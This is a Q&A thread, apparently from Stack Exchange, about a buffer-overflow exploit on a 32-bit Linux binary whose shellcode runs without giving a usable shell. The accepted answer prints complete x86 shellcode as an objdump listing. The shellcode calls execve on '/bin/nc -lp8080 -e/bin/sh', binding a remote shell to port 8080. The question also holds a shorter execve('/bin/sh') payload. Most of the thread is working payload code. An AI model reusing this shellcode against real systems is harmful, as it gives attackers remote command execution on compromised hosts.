2

I'm performing a buffer overflow attack on a binary and I managed to get proper return address and execute my shell code. It successfully ran the shell code. But I'm not getting a shell.

When I type ls, it just closes the interactive session. Any ideas?

PS: password incorrect error is just a print statement.

GDB

enter image description here

following is the shell Code I'm using:

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
mov    %eax,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80
  • 2
    Well, your shelcode is using /bin//sh\0. And int 0x80 with EAX as 0xb is sys_execv. So it is the equivalent of execve("/bin/sh", 0, 0). Therefore it is much more important what you're exploiting. (1) you do not say anything about NX, it may be enabled. (2) SELinux may not like exec calls from binaries. (3) See then answer here for a way of building the 2nd argument for execve() (4) Do not post images of text, it makes things harder to look at. – grochmal Oct 15 '16 at 14:37
  • Thanks for the response. NX is disabled. There are no restrictions on execve() calls from binaries as I successfully exploited 4 other binaries and got the shell code to do a execve() call. I will keep looking and post here If I get it to work. – Subramanya Vajiraya Oct 16 '16 at 1:28
1

After going through the return status of the program I realised that, the program was executing the shell code and exiting. So, Instead of binding the shell to stdin, I wrote a shell code that binds /bin/sh to port 8080 using netcat. This did the trick.

Following is the shell code I used:

08048060 <_start>:
 8048060:       eb 2a                   jmp    804808c <GotoCall>

08048062 <shellcode>:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 0f                mov    %al,0xf(%esi)
 804806b:       88 46 19                mov    %al,0x19(%esi)
 804806e:       89 76 1a                mov    %esi,0x1a(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1e                mov    %ebx,0x1e(%esi)
 8048077:       8d 5e 10                lea    0x10(%esi),%ebx
 804807a:       89 5e 22                mov    %ebx,0x22(%esi)
 804807d:       89 46 26                mov    %eax,0x26(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1a                lea    0x1a(%esi),%ecx
 8048087:       8d 56 26                lea    0x26(%esi),%edx
 804808a:       cd 80                   int    $0x80

0804808c <GotoCall>:
 804808c:       e8 d1 ff ff ff          call   8048062 <shellcode>
 8048091:       2f                      das   
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das   
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       2d 6c 70 38 30          sub    $0x3038706c,%eax
 804809e:       38 30                   cmp    %dh,(%eax)
 80480a0:       23 2d 65 2f 62 69       and    0x69622f65,%ebp
 80480a6:       6e                      outsb  %ds:(%esi),(%dx)
 80480a7:       2f                      das   
 80480a8:       73 68                   jae    8048112 <GotoCall+0x86>
 80480aa:       23 41 41                and    0x41(%ecx),%eax
 80480ad:       41                      inc    %ecx
 80480ae:       41                      inc    %ecx
 80480af:       42                      inc    %edx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       43                      inc    %ebx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       44                      inc    %esp
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.